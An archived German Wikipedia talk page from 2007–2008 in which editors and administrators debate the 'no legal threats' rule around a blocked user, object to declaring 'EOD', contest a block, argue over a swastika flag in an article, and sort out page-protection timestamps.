Liebe Henriette, einen Umgangston, den kein Verkäufer, Kellner oder Busfahrer im real life akzeptieren müsste, muss man hier auch nicht hinnehmen. Es gibt gar keinen Grund, beim Stichwort Real life im Elfenbeintürmchen immer gleich hysterisch zu werden, oder sie per Akklamation abzuschaffen. Bei Beleidigungen, übler Nachrede oder willkürlichen Sperrungen muss es nun mal geeignete Mittel geben. Markus Schweiß habe ich mal eine Briefmarke gespendet und ich habe auch noch welche übrig. Es gibt in der Tat Fälle hier, da geht es nicht anders. – Simplicius ☺ 11:35, 23. Nov. 2007 (CET)

Das Verbot rechtlicher Schritte oder ihrer Androhung ist eines unserer Grundprinzipien. Jeder der bei Wikipedia mitarbeitet hat die Grundprinzipien zu beachten und sich an sie zu halten. Natürlich kann niemandem verboten werden, tatsächlich vor Gericht zu gehen. Darauf hat Wikipedia selbstverständlich keinen Einfluss. Wenn dies vorkommt, ist das allerdings ein Verstoß gegen die Grundprinzipien des Projekts der projektsintern geahndet werden muss. Es ist klar, das jeder Mitarbeiter hier als Bürger das Recht hat, rechtliche Mittel zu ergreifen. Im selben Augenblick muss aber genauso klar sein, dass dies Konsequenzen für seinen Account in unserem Projekt hat, der an die genannten Grundprinzipien gebunden ist. Also - da das Ergreifen rechtlicher Mittel nicht ausgeschlossen werden kann, aber nicht erwünscht ist, müssen projektintern Maßnahmen gegen den entsprechenden Account ergrifffen werden. Ansonsten ist die Regelung obsolet, man möge sich die Konsequenzen vorstellen. Gruß--Mo4jolo  ∀ ≡ ↕ 11:52, 23. Nov. 2007 (CET)

"Das Verbot rechtlicher Schritte oder ihrer Androhung ist eines unserer Grundprinzipien." Aeh, das steht genau wo? Grundprinzip isses jetzt auch schon? Dann wuerde ich mal 'ne Pressemitteilung machen, solche Schmarrn interessieren die vielleicht. Die Konsequenz aus der Tatsache, dass man durchaus mit rechtlichen Schritten drohen darf (mal unabhaengig vom Fall TT, den ich ehrlich gesagt, gar nicht durchblicke: Worauf sollte TT denn rechtliche Schritte einlegen koennen?) waere vielleicht, dass sich hier mal ein paar Leute am Riemen rissen, um eben diesen moeglichen rechtlichen Schritten aus dem Weg zu gehen. Nebenbei kommt es hier doch eh so gut wie nie vor, dass jemand mit rechtlichen Schritten droht (ausser vielleicht: "Du boese, mein Werbelink muss hier rein, sonst Anwalt" -- eine so laecherliche Drohung, die niemand ernstnehmen braucht), dass ist doch nu wirklich der Ausnahmefall, dass hier so dolle gekaspert wird. Fossa_?! ^± 12:17, 23. Nov. 2007 (CET)

Zunächst - Verbot rechtlicher Schritte oder ihrer Androhung ist in Bestandteil von WP:KPA und dies wiederum ein Grundprinzip. @Fossa - wie du durchschaue ich den aktuellen Fall mit Triebtäter, der hier behandelt wird, nicht und habe auch nicht vor mich da einzuarbeiten. Mein Kommentar galt allgemein und bezog sich auf die verscheidentliche Bagatellisierung derartiger Drohungen die hier zu lesen waren. Gruß--Mo4jolo  ∀ ≡ ↕ 18:09, 23. Nov. 2007 (CET)

Teilweise ack. Natürlich ist das keine unserer Grundprinzipien, sondern ein Detail von KPA. Gerade der Fall Triebtäter zeigt aber deutlich, dass dieses Detail wichtig ist, weil Triebtäter es mit seiner Methode geschafft hat, einen Mitarbeiter zeitweise zu vergraulen und mindestens zwei einzuschüchtern. Unabhängig von der Aussicht auf Erfolg kann so eine Drohung grade bei rechtlich unerfahrenen Mitarbeitern (der hier zum Beispiel) zu Problemen führen. Deswegen sollte die regelmäßige Drohung mit rechtlichen Schritten geahndet werden, erst recht, wenn damit inhaltliche Probleme übergangen werden. Gruß, Code·Eis·Poesie 12:22, 23. Nov. 2007 (CET)

Wie gesagt, ich blicke ueberhaupt, worauf TT gerichtlich reagieren wolle, ohne das diskutiere ich hier aus der hohlen Hand um den Fall TT. Egal jedenfalls, sehe ich nicht wie man von diesem Einzelfall auf eine notwendige policy schliessen soll, anstatt umgekehrt. Fossa_?! ^± 12:46, 23. Nov. 2007 (CET)

Auf en: und etlichen anderen Wikipedias ist das "Official Policy". Aber klar, in diesem unserem Lande, wo man sich auch gern mal über die Gartenzwerge in Nachbars Garten vor Gericht streitet, kann das natürlich nicht angehen. Ein Admin löscht Deinen Artikel oder sperrt Dich? Kein Problem, Rechtsanwalt Schlagmichtot hilft Dir weiter. Stefan64 12:28, 23. Nov. 2007 (CET)

Yawn. Die Rechtsstreitfrequenz ist in den USA deutlich hoeher als in DACH-Land. Und kein Rechtsanwalt wuerde einen solchen aussichstlosen Kasperlefall annehmen. Nicht das Loeschen von Artikeln ist rechtlich problematisch, sondern das Nicht-Loeschen verleumderischer Behauptungen. Uebringens, ich habe gar kein Interesse, die Foundation oder irgendwen zu verklagen, weil hier verleumderische Behauptungen ueber mich aufgestellt werden (z.B., ich sei Scientologe), die auch nach Nachfrage nicht geloescht werden, die glaubt naemlich eh keiner (oder wenn doch wer, dann isses mir auch egal). Aber manch einer ist vielleicht in einer weniger luxerioesen Position und wird durch Verleumdungen oder sonstwelche Behauptungen nicht nur vergrault, sondern hat auch mit Konsequenzen im Real Life zu rechnen (siehe Fall Tron, Oder Typ: "Ach, Herr Meier, ich habe in Wikipedia gelesen, sie seien an Kinderpornographie interessiert? Tut mir leid, solche publicity kann sich unser Unternehmen nicht leisten.") Fossa_?! ^± 12:46, 23. Nov. 2007 (CET)

@Mo4jolo: Wie jetzt? Sagen wir mal Du würdest mich eines Bankraubs bezichtigen. Würde dann mein Account gesperrt wenn ich gegen Dich gerichtlich vorgehen würde? --Hans Koberger 12:18, 23. Nov. 2007 (CET)

Schlichte Antwort: Ja. Indem du hier mitarbeitest, akzeptierst du unsere Grundprinzipien, die nunmal (über KPA) ein Verbot rechtlicher Schritte oder deren Androhung vorsehen. Gegen Verleumdungen muss projektintern vorgegangen werden und ziehen Konsequenzen für den entsprechenden Account nach sich. Wenn dir das nicht genügt und du darüber hinaus auch noch gerichtliche Schritte einleitest, verstößt du gegen unsere Grundprinzipien und machst dich selbst im Sinne unseres Projekts strafbar. Projektinterne Angelegenheiten werden auch projektintern geregelt, darauf bauen wir alle und Verstöße dagegen müssen geahndet werden. Gruß--Mo4jolo  ∀ ≡ ↕ 18:18, 23. Nov. 2007 (CET)

Nein, Mo4jolo, KPA ist kein Grundprinzip. „Grundprinzipien“ werden diese Verlautbarungen von Jimbo wie "Do The Right Thing", "Sei lieb", "Zähneputzen!" und so genannt ;-). Es ist wahrscheinlich auch nicht mehr nachzuvollziehen, wer warum diese Idee hatte, das in die Richtlinie KPA reinzuschreiben. --...bRUMM↔fUß! 19:17, 23. Nov. 2007 (CET)

Ich gehe vom status quo aus. Ist nunmal so, ob es so gedacht war oder nicht.--Mo4jolo  ∀ ≡ ↕ 21:25, 23. Nov. 2007 (CET)

Mo4jolo, diese Auffassung von dir interessiert mich jetzt wirklich. Ich spinne obiges Beispiel mal etwas weiter: Ich lege einen Artikel über dich an, und schreibe dort drin, dass du ein gemeingefährlicher Pädophiler seist, der schon dutzende Kinder missbraucht und getötet hat. Aus irgendeinem dummen Zufall heraus habe ich auch deinen wirklichen Namen herausgefunden. Wenn du dann mir völlig zu Recht drohst und gerichtlich gegen mich vorgehst, dann wirst du dafür gesperrt, weil du mir mit rechtlichen Schritten gedroht hast und dies nicht projektintern gelöst worden ist? Du hast dann also die Wahl, entweder mich gerichtlich zur Rechenschaft zu ziehen und deinen Account hier zu verlieren - oder aber ich bleibe unbehelligt und du behältst deinen Account? Nein, mein Lieber. So ist "keine rechtlichen Drohungen" ganz bestimmt nicht gemeint. Meistens ist die Androhung rechtlicher Schritte hier in der Wikipedia nicht zulässig. In den seltenen Fällen, in welchen aber tatsächlich etwas Unrechtes oder gar eine Straftat in der Wikipedia begangen worden ist, ist es idiotisch, das sich wehrende Opfer zu bestrafen. Und ganz nebenbei: Es ist aus guten Gründen verboten, per Vertrag (und hier in der Wikipedia mitzuschreiben ist auch ein Vertrag) jemandem zu verbieten, z.B. Strafanzeige zu erheben. Und wer jemanden daran hindern will, indem er ihm Nachteile androht (z.B. die Benutzersperrung), der begeht u.U. selbst eine Straftat, nämlich Nötigung. (Ich weiss, das ist jetzt die eher extreme Gegenposition eines Advocatus diaboli, doch das argumentum ad absurdum ist zum Augen-öffnen oft hilfreich) --Der Umschattige talk to me 20:31, 23. Nov. 2007 (CET)

Anscheinend haben wir da einen wunden Punkt getroffen. Ich versuche ja nicht moralisch oder nach dem was ich für richtig halte zu argumentieren, sondern nach den vorliegenden Fakten, den vorliegenden Regeln, die wir haben (im Zweifel müssten diese geändert werden) Zu deiner Frage a) Wird solch eine Verleumdung umgehend entfernt, davon kann man ausgehen b) Wird der entsprechende Account umgehend gesperrt, sollte ebenso klar sein c) Hat natürlich die Foundation auch die Möglicheit als rechtlich Verantwortliche jur. Person gegen Missbrauch ihres Webangebots vorzugehen.

Deine Argumentation „Es ist aus guten Gründen verboten, per Vertrag (und hier in der Wikipedia mitzuschreiben ist auch ein Vertrag) jemandem zu verbieten, z.B. Strafanzeige zu erheben. Und wer jemanden daran hindern will, indem er ihm Nachteile androht (z.B. die Benutzersperrung), der begeht u.U. selbst eine Straftat, nämlich Nötigung.“ trifft schlicht nicht zu. Der Vertrag wurde zu den gegebenen Umständen geschlossen (Grundprinzipien quasi als AGB zu verstehen), Sittenwidrigkeit wäre theoretisch zu prüfen. Ist aber eh uninteressant, da niemand an Anrecht darauf hat, hier mitzuwirken. Die Foundation und somit jedes ausführende Organ derselben kann jederzeit jedem Mitarbeiter die Schreibrecht entziehen, egal aus welchem Grund. Da die Mitarbeit hier freiwillig und nur mit Duldung der Foundation geschieht, läge nie eine Nötigung vor. Kann das aber gerne nochmal von einem Juristen checken lassen (das ist keine Drohung mit rechtlichen Schritten ;-).--Mo4jolo  ∀ ≡ ↕ 21:25, 23. Nov. 2007 (CET)

Zum 1. Teil: War klar, dass du dich herausredest (hätte ich auch getan ;)). Spinnen wir das Bsp. weiter: Ich bin Admin in der alemannischen Wikipedia. Bis ich dort wirksam gesperrt bin (weil ich Admin bin), vergehen schnell ein paar Tage. Bis dahin ist mein verleumderischer Text online, bei Google indiziert und in Internetarchiven (dieser Fall ist übrigens nicht mal so hypothetisch, in veränderter Fassung gab es so was ähnliches tatsächlich). Du schreibst mir auf meiner deutschen Benutzerdisku und drohst mit rechtlichen Schritten. Was nun? Oder lassen wir mal einfach aussen vor, wie hypothetisch der Fall ist (das sind solche Extrembeispiele ja eh), nehmen wir einfach mal an, das passiere tatsächlich, was dann? In Wirklichkeit können es ja auch harmlosere Beleidigungen sein (wie z.B. "du bist ein Arschloch") - strafbar sind sie allemal.

Zum 2. Teil. Tu das, frage deinen Hausjuristen (bis dahin lass ich dich wegen des PAs sperren - nein, Spass beiseite ;)). Wenn er dir tatsächlich zur Antwort geben sollte, dass es gestattet sei, per Vertrag jemandem zu untersagen, eine Strafanzeige einzureichen und für den Missachtungsfall Strafen vorzusehen, dann solltest du dich bei einem echten juristischen Problem an einen anderen Juristen wenden. Zulässig ist es, über eine Schiedsgerichtklausel den privatrechtlichen Klageweg auszuschliessen, nicht aber das Strafrecht. Auch hier das Extrembeispiel: Ich schliesse mit meiner Frau einen Vertrag, dass wir uns in der Ehe unter keinen Umständen gegenseitig (strafrechtlich) verklagen, tun wir es doch, muss der Vertragsbrechende eine Million Euro Konventionalstrafe zahlen. Ich vergewaltige meine Frau. Darf sie dann tatsächlich nicht gegen mich eine Anzeige einreichen bzw. nur, wenn sie mir die Million zahlt? Eben. --Der Umschattige talk to me 21:47, 23. Nov. 2007 (CET)

PS. nach BK: Ob das Androhen der Sperre eine Nötigung darstellt oder nicht: Ob etwas freiwillig angeboten wird oder nicht, ist egal für die Bestimmung des Nachteils: Entscheidend ist, dass dem Genötigten etwas angedroht wird, dass er als Übel empfindet. Allerdings dürfte der Ausschluss vom Schreiben hier selten ein ernstlicher Nachteil sein (der ist erforderlich), von daher dürfte die Androhung der Benutzersperre wohl tatsächlich kaum den Tatbestand der Nötigung erfüllen, hier hast du Recht. Am ersten Teil halte ich allerdings fest. --Der Umschattige talk to me 21:47, 23. Nov. 2007 (CET)

Sagt mal könnt ihr mit eurem Juraseminar aufhören? Dieser Wortwechsel ist das beste Beispiel dafür, warum "no legal threats" eine unterstützenswerte Regel ist. Jurakram gehört ins Anwaltsbüro oder vor Gericht, in der Wikipedia stört er nur. Ermüdete Grüße von einem Beobachter --Sargoth ^disk 21:55, 23. Nov. 2007 (CET)

PPS. und nach BK (lustig angesichts Sargoths Statement): Mit AGBs kannst du schlecht argumentieren. Diese müssen bei der Registrierung vorhanden sein und es muss bestätigt werden, dass diese akzeptiert werden, sonst werden sie schlicht nicht Vertragsbestandteil. Aber eigentlich möchte ich hier nicht eine juristische Diskussion führen (wäre zwar sehr spannend, aber da sich ständig neue Probleme auftun, wirds mühsam), sondern eigentlich nur eine Antwort auf meine Eingangsfrage ;) --Der Umschattige talk to me 21:57, 23. Nov. 2007 (CET)

Ich wollte mich nicht rausreden (müsste ich?), sondern habe meine antagonistische Position weitergeführt, die nicht in meiner Überzeugung, wohl aber nach den vorliegenden Gegebenheiten im Bereich des Möglichen liegt. Du hast ja bereits selbst bestätigt, dass der für eine Nötigung zu Grunde liegende Nachteil nicht gegeben wäre - wie auch? Die freiwillig durch die Foundation erteilte Schreiberlaubnis kann natürlich jederzeit ohne Nennung von Gründen widerrufen werden. Aber lassen wir es hier gut sein, OT ist es schon längst, wenn wir es weiterführen, dann doch besser auf einer unserer Benutzerdiskus. Gruß--Mo4jolo  ∀ ≡ ↕ 22:18, 23. Nov. 2007 (CET)

(nach BK)Ich finde das sehr interessant. Also sollte man die „Regel“ lieber weglassen und ohne Begründung sperren, dann fällt es nicht so auf, dass man etwas verbietet, was nicht verbietbar ist und dass man möglicherweise mindestens sittenwidrig handelt, wenn man durch die defacto-Inaussichtstellung eines Nachteils Jemanden daran hindert bzw. das versucht oder das effektiv dabei herauskommt (!), sein Recht auf rechtliche Schritte wahrzunehmen. Aber nennen wir diesen genauen Blick lieber OT. --195.4.206.102 22:24, 23. Nov. 2007 (CET)

Rechtliche Schritte kann und will keiner verbieten. Die Drohung mit rechtlichen Schritten auf der Wikipedia selbst ist der Gegenstand der Regel. Falsch genutzte Kopien von Wikipedia-Artikel werden auch mit Hinweis auf die lizenzrechtlichen Gegebenheiten angemahnt - aber eben per Mail. Das ist der richtige Weg. So kann man diesen störenden Kram von den Anwälten klären lassen, ganz wie im richtigen Leben. Während man seine Anwälte wegen verschiedener Auslegung eines Vertrags vor Gericht gegeneinander auffährt, sitzt man trotzdem weiter gemeinsam bei einem schönen Glas Wein und plaudert über freundlichere Themen oder das nächste Geschäft. Das sind einfach gute Umgangsformen :-) --Sargoth ^disk 22:34, 23. Nov. 2007 (CET)

Wenn es denn so wäre. Ich glaube jetzt aber, ohne Beweise bringen zu können, dass schon gesperrt wurde, weil rechtliche Schritte eingeleitet wurden, bzw. manche der Meinung sind, auch wenn per Email diese angekündigt werden, sollte dies eine Sperre rechtfertigen. Das Ergebnis eines solchen Vorgehens ist hier maßgebend, und das ist, dass Druck ausgeübt wird. --195.4.206.102 23:00, 23. Nov. 2007 (CET)

Die Androhung einer Sperrung oder den Durchführung halte ich übrigens auch für einen rechtlichen Schritt.

Andere Meinungen? – Simplicius ☺ 13:22, 23. Nov. 2007 (CET)

Noe, isses nicht, jedenfalls nicht in dem Sinne wie TT das ausdrueckt. Fossa_?! ^± 13:27, 23. Nov. 2007 (CET)

Ok, die Diskussion bezieht sich auf Triebtäter...

Ich wollte damit nur sagen, egal wo ein verdienter Autor ausgeschlossen wird,

man befindet sich hier schon im juristischen Bereich.

Ich glaube nicht, dass man hier per AGB und vox populi beschliessen kann,

dass man für seine Kaspereien nicht auch vor Gericht grade stehen muss,

zum Beispiel wenn es um Beleidigungen angeht oder auch die Drohung einer Sperre. – Simplicius ☺ 18:38, 24. Nov. 2007 (CET)

Nochmal zur Ausgangsfrage: Kann eigentlich irgendjemand inhaltlich oder emotional nachvollziehen, weshalb Triebtäter diese Drohung ausgesprochen hat? Auch ohne jede Policy finde ich es, von begründeten Einzelfällen (strafrechtlich relevantes Verhalten o.ä.) abgesehen, schon ziemlich daneben, solche Äußerungen zu machen. Ein solcher Grund ist mir trotz Suchens bei Triebtäter nicht aufgefallen. Deshalb finde ich Codeispoetrys Sperre auch weiterhin nachvollziehbar und teile Annekes Revisionsentscheidung nicht. Imho sollte unter Admins schon ein Konsens bestehen, dass Triebtäters Aktion nicht akzeptabel war und er sich dies nicht zur Gewohnheit machen sollte. --poupou review? 13:13, 23. Nov. 2007 (CET)

Scheint mir auch so (dass die Aktion 'ne Schnapsidee war), aber deswegen kann man trotzdem nicht von diesem Fall auf WP:NLT schliessen. Fossa_?! ^± 13:27, 23. Nov. 2007 (CET)

TT hat keine Ahnung vom Recht, aber eine große Klappe und eine Selbstbeherrschung in RS-Dimensionen, das führt dann halt zu Zeiten zu unverständlichen Handlungen. sугсго.PEDIA 13:49, 23. Nov. 2007 (CET)

Es geht hier wohl darum, dass jemand, der unter Realnamen aktiv ist (R.S. in diesem Fall) durchaus rechtliche Möglichkeiten hat, bei Benutzersperrung die Entfernung der üblichen Vorlage oder sonstiger dem Ansehen der Person abträglicher Hinweise einzufordern - vor allem, wenn ihm kein juristisch relevantes Fehlverhalten nachzuweisen ist, sondern lediglich etwas wie "der passt nicht hierhin und nervt mit dummen Artikeln". Die bloße Sperrung selbst ist hingegen nicht anfechtbar. Im Übrigen ist T's Bemerkung im Wortlaut keineswegs als Drohung auslegbar. MfG - 91.58.228.60 15:21, 23. Nov. 2007 (CET)

Du glaubst, jemand könne auf juristischem Wege z.B. die Sperrbegründung "schadet der WP mehr als er nutzt" in "Account wurde per MB gesperrt" verändern? Und weil er das könnte, dürfe er damit auch drohen? Glaub ich nicht; und wenn, könnten wir dichtmachen. --Logo 19:26, 23. Nov. 2007 (CET)

Doch, prinizpiell können auch Logbucheinträge, soweit sie tatsächlich justiziable Inhalte aufweisen (Beleidigung etc.), Gegenstand einer Auseinandersetzung sein. Ob und wie, wann, was zutrifft hängt dann immer vom Einzelfall ab. --Anneke Wolf 19:55, 23. Nov. 2007 (CET)

Es geht nicht um Glauben. Es geht ebenfalls nicht um (in nicht auf Anhieb auffindbaren Logbüchern hinterlassene) Sperrbegründungen. Aber niemand muss üble Nachrede hinnehmen. De facto juristisch wehren tut sich letztendlich kaum jemand, logo. Aber die Auswirkungen des Aussehens mancher Benutzerseiten nach Sperren oder aber von über Suchmaschinen [8] auffindbaren Kommentaren sind bei Realnamen oft nicht den tatsächlichen Ursachen angemessen (die Diskussionen um "Forenhaftung" sollten bekannt sein -> der Betreiber bzw. die Admins sind hier in der Pflicht, entsprechende Aussagen "nicht lesbar" zu gestalten).

T. irrt in seiner Nachfrage [9] nur im Punkt der Nötigung (s.o., "bloße Sperrung ist nicht anfechtbar", nur einige der üblicherweise folgenden "Maßnahmen"). Juristisch relevant ist die Verhältnismäßigkeit (üble Nachrede ist anhand nachprüfbarer, gegenteiliger Fakten erkennbar -> T's Punkt "unberechtigte Sperre"). Zutreffend ist auf jeden Fall T's Aussage zu Nicks/fiktiven Namen (das betrifft auch ihn selbst).

Der einfache Hinweis auf rechtliche Möglichkeiten stellt keine "Drohung" dar.

T's Satz "Wenn ich mich gegen Dich wehre, dann eher mit Mitteln außerhalb der Wikipedia." beinhaltet übrigens keinerlei rechtliche Schritte. Er kann genauso gut gemeint haben, S1 mit Wattebäuschchen zu beschmeißen. - 91.58.228.60 20:02, 23. Nov. 2007 (CET)

Die Logbücher sind aber trotzdem öffentlich zugänglich (wenn auch nicht unbedingt sofort auffindbar). Gerade bei Schnellöschungen a la XYZ (Adresse) ist ein d**** Aloch sollte doch auch der Inhalt beim Löschen entfernt werden. Das nur mal so als genereller Hinweis. --Anneke Wolf 20:07, 23. Nov. 2007 (CET)

richtig, aber das war damit nicht gemeint (wichtig ist die "direkte Zurverfügungstellung" ohne zwischengeschaltete, wissentlich und willentlich getätigte Klicks) - 91.58.228.60 20:58, 23. Nov. 2007 (CET)

Nur mal meine Sicht am Rande: die dreitägige Sperre halte ich für stark überzogen bis abwegig. Die Begründung reicht nicht und der Zusatz: "Ignorieren eines EOD von Janneman" ist richtiggehend albern. Bitte Rückkehr zu einer vernünftigen Kultur. Auch sollte der Sperrknopf nicht so locker sitzen. Eine freundliche Ansprache auf der Disk tut es auch. Sperre ist eine Ultima Ratio, besonders bei langjährigen Benutzern. Triebtäter ist erkennbar aus der Haut gefahren. Passiert jedem mal. Das muss man nicht eskalieren. Nur noch eine weitere Anmerkung: Das oberlehrerhafte Verhalten von Filistoria in dieser Disk finde ich ebenso völlig unpassend. Wo sind wir denn hier? --GS 20:24, 23. Nov. 2007 (CET)

Ack in allen Punkten. --195.4.206.102 20:51, 23. Nov. 2007 (CET)

Und auch am Rande: Wieso ist Reiner Stoppok eigentlich noch gesperrt? Das benutzersperrverfahren war doch eindeutig, gibt es jetzt noch andere Gründe? --195.4.206.102 20:51, 23. Nov. 2007 (CET)

Er wurde schon vor dem Sperrverfahren für eine Woche gesperrt. Die Aufhebung dieser Sperre war nicht Gegenstand des Verfahrens. --Fritz @ 21:27, 23. Nov. 2007 (CET)

• Wie wäre es einfach mit einer Ergänzung von "Was Wikipedia nicht ist"... Wikipedia ist kein Kindergarten. – Simplicius ☺ 19:29, 24. Nov. 2007 (CET)

Da irrst du dich aber gewaltig.--Τιλλα 2501 ^± 23:23, 24. Nov. 2007 (CET)

Diese Seite

Mal was ganz anderes: Kann mir irgendjemand erklären, nach welchen Kriterien Beiträge auf die Projektseite oder auf die zugehörige Diskussionsseite geschrieben werden? Ich werde den Eindruck nämlich nicht los, daß letztere die Diskussionsseite zu einer Diskussionsseite und damit vollkommen überflüssig ist. --Fritz @ 22:40, 21. Nov. 2007 (CET)

hierher gehören IMHO nur Diskussionen etwa über die Funktionen von WP:AN. Damit ist es meiner Meinung nach völliger Humbug, hier etwas hinzuschieben, was vorne aus welchen Gründen auch immer nicht stehen soll. Das betrifft jegliche projekt- oder adminbezogene Diskussion. Passend wären also momentan #Sinn oder Unsinn dieser Seite sowie #archivierung (und natürlich #Diese Seite ;-)) --schlendrian •λ• 22:51, 21. Nov. 2007 (CET)

Feli hat sich halt nicht getraut, mehrere Admins wg. "Ignorieren von EOD" zu sperren :-p Stefan64 22:54, 21. Nov. 2007 (CET)

Ganz recht, ich hab hier schon ne Liste, demnächst rasseln da für jeden fünf Minuten, und weil du so ungalant bist, mich hier zu verpetzen, wo ich grad per Versionsgeschichte my first edition as a wikipedian vandal dokumentiert bekommen habe und deshalb doch wohl eher die Schampuskorken knallen sollten, stehst du jetzt auch drauf, Stefan64:-)! --Felistoria 23:04, 21. Nov. 2007 (CET)

Hm, ok, alle Klarheiten beseitigt! Dann werde ich in Zukunft mal unter Androhung drakonischer Maßnahmen auf eine korrekte Zuordnung der Beiträge achten! *g* --Fritz @ 23:41, 21. Nov. 2007 (CET)

ich bin ja eher für ein projektweites Verbot der Verwendung von "EOD" unter Androhung drakonischer Maßnahmen. Wenn das wirklich mal nötig ist, kann man das auch anders schreiben und vor allem begründen! Und sonst hilft es viel mehr, einfach mal nicht zu antworten. Wenn auf Funktionsseiten eine Adminentscheidung getroffen ist, kann man es ja gerade noch verstehen dass die Diskussion für beendet erklärt wird, aber auf einer Seite die zum Diskutieren da ist, ist "EOD" einfach grundsätzlich unangebracht. --Tinz 23:59, 21. Nov. 2007 (CET)

Ack, auch wenn das nicht der Grund für meine Frage war. --Fritz @ 00:05, 22. Nov. 2007 (CET)

sehr dafür :-) -- southpark Köm ? | Review? 12:19, 23. Nov. 2007 (CET)

Oooh ja! "End of discussion" ist immer der überflüssigste Diskussionsbeitrag in einer Diskussion. Stullkowski 13:46, 23. Nov. 2007 (CET)

Hast recht, Stullkowski. ich werde mich auch nie mehr einmischen, wenn ich bemerke, dass auf unserer Vorderseite das Bereitstellen von Popcorn forciert wird, ich werde auch gewiss nicht wieder irgendetwas dahin umsetzen, wo man's nicht gleich am Eingang sieht. Ich fand die Abkürzung übrigens auch noch nie besonders elegant;-) --Felistoria 01:30, 24. Nov. 2007 (CET)

@feli: nur weil man glaubt, einen kindergarten vor sich zu haben, heißt das nicht, dass man sich dann als kindergartentante betätigen sollte. manchmal muss auch eine blödsinnige diskussion eben so lange laufen, bis sie sich selbst totläuft.--poupou review? 15:44, 24. Nov. 2007 (CET)

EOD! --Markus Mueller 16:44, 24. Nov. 2007 (CET)

Diskussion zum Hinweis

Ich freue mich sehr über den Hinweis, aber was haben er und die anschließende Diskussion mit Administratoren zutun? Gruß, Code·Eis·Poesie 01:59, 7. Dez. 2007 (CET)

Löschung eines Beitrags von Barnos auf der Vorderseite durch Codeispoetry

Wenn ihr ihn wiederherstellen wollt, tut euch keinen Zwang an. Was genau das Gelaber mit „Adminstratornotizen“ zutun hat, ist mir aber nicht klar. Code·Eis·Poesie 18:20, 1. Jan. 2008 (CET)

Benachrichtigung von gesperrten Benutzern

+ 1, aber (a) wann ist etwas „breitgetreten“, und (b) was bedeutet: Einschränkungen /.../ nur bei stimmberechtigten Benutzern und (c) warum Einschränkungen bei offensichtlichen Newbies? --85.176.139.93 16:26, 2. Feb. 2008 (CET)

Benutzersperre Calidra

Weil die Seite WP:AN für nicht angemeldete Benutzer und gesperrte Benutzer gesperrt ist: Ich würde gerne um eine zweite und dritte Meinung zu meiner Sperre bitten. Benutzer Pink Evolution bin ich nicht und war ich nicht. Deswegen ist die Sperrbegründung falsch. Siehe dazu dies und sowie dies auf der Diskussionsseite des sperrenden Administrators. --217.251.114.44 23:43, 4. Feb. 2008 (CET)

Hier hast Du fünf Meinungen zum Thema. Du hast das Schiedsgericht angerufen und Entscheidungen des SG sind bindend: Mit dem Urteil mußt jetzt wohl leben. --Henriette 17:29, 23. Mär. 2008 (CET)

Naja, nachdem er dass hier vor über 6 Wochen geschrieben hat, hat er die SG-Entscheidung sicher schon mitbekommen... --EscoBier Mein Briefkasten | Deine Meinung zum Vertrauensnetz 17:48, 23. Mär. 2008 (CET)

Stimmt auffallend :)) Durch das hin und her mit dem Holm-Troll hatte ich die Seite mal wieder auf meiner Beob.-Liste: Daher kams … Naja: Haben wir das jedenfalls auch mal geklärt ;) --Henriette 18:34, 23. Mär. 2008 (CET)

Natürlich habe ich die SG-Entscheidung mitbekommen. Die Hauptsache ist, dass EscoBier sich künftig mit Unterstellungen zurückhält, ein ihm nicht genehmer Benutzer sei Pink Evolution. (Gruß übrigens an ihn). --217.251.120.153 19:46, 24. Mär. 2008 (CET)

Da ich auf der anderen Seite nicht schreiben kann

würde jemand dem Herrn, der sich auf AN beschwert, durch das Herausnehmen der Flaggen würde der Lesenswerte Artikel HMS Graph „zerstört“ darauf aufmerksam machen, dass in der als lesenswert gewählten Version keine Hakenkreuzflagge enthalten war. Ich würde eher den lesenswerten Artikel durch die Einfügung der Hakenkreuzflagge als zerstört ansehen. Zum rechtlichen Aspekt habe ich auf der Diskussionsseite meiner gestrigen IP ausführlich Stellung genommen, als Kurzzusammenfassung: In dieser Form (Flagge ohne jede Kommentierung, Erläuterung, Bildlegende usw.) entspricht die Verwendung nicht dem Sinn und Zweck der gesetzlichen Ausnahmeregelung, da sie die Einfügung der verbotenen Flagge zum Regel- statt zum Ausnahmefall macht. 80.139.88.31 18:07, 26. Mär. 2008 (CET)

Im erweiterten Kontext des Umgangs mit spezifischen Bezugspunkten der deutschen NS-Vergangenheit bietet es sich auch hier an, mehr Gespür für das Ratsame zu entwickeln (für diesmal bereinigt). -- Barnos -- 18:41, 31. Mär. 2008 (CEST)

Vollsperre

Was soll das denn? Wieso ist die Seite jetzt vollgesperrt? -- Chaddy - DÜP 23:44, 7. Okt. 2008 (CEST)

Weil die Seite dem Sperrer zu Complex für den Nichtadminplebs zu sein scheint. sугсго 23:48, 7. Okt. 2008 (CEST)

<°)))o>< --Complex 23:58, 7. Okt. 2008 (CEST)

Ah ja, über diesen Satz muss ich erst mal eine Nacht schlafen... -- Chaddy - DÜP 23:49, 7. Okt. 2008 (CEST)

die seite war bloss 30 s vollgesperrt. danach war (und ist) sie bloss verschiebe-geschuetzt. -- seth 03:31, 8. Okt. 2008 (CEST)

Ne, UTC und Deine Regionalzeit sind nicht gleich. sугсго 11:21, 8. Okt. 2008 (CEST)

¿aeh, ja, und? ich habe CET eingestellt. und in der history steht:

1. (cur) (last) 2008-10-07T23:27:08 Complex (Talk | contribs | block) m (Änderte den Schutz von „Wikipedia:Administratoren/Notizen“: Funktionsseite ([edit=sysop] (bis 22:27, 7. Okt. 2008 (UTC)) [move=sysop] (unbeschränkt))) (undo)
2. (cur) (last) 2008-10-07T23:26:38 Complex (Talk | contribs | block) m (Schützte „Wikipedia:Administratoren/Notizen“: Funktionsseite ([edit=sysop] (unbeschränkt) [move=sysop] (unbeschränkt))) (undo)

also bloss ca. 30 s, oder nicht? -- seth 12:48, 8. Okt. 2008 (CEST)

Ne du hast die Sommerzeit vergessen (+1), ich habe MESZ und die gleichen Zeiten (wenn auch in D-Schreibung) im Log:

(Aktuell) (Vorherige)  23:27, 7. Okt. 2008 (rev) (edit) Complex (A) (Diskussion | Beiträge | Sperren) K (Änderte den Schutz von „Wikipedia:Administratoren/Notizen“: Funktionsseite ([edit=sysop] (bis 22:27, 7. Okt. 2008 (UTC)) [move=sysop] (unbeschränkt))) (entfernen)
(Aktuell) (Vorherige) 23:26, 7. Okt. 2008 (rev) (edit) Complex (A) (Diskussion | Beiträge | Sperren) K (Schützte „Wikipedia:Administratoren/Notizen“: Funktionsseite ([edit=sysop] (unbeschränkt) [move=sysop] (unbeschränkt))) (entfernen)

sугсго 12:54, 8. Okt. 2008 (CEST)

